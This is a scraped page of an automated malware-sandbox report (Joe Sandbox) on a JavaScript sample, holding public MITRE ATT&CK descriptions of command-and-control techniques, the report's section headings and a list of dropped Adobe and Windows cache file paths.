Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27328249893052310101.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fcf3c1a8-c6f6-4eda-b755-2c2c4166db6f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7684

Windows Analysis Report
27328249893052310101.js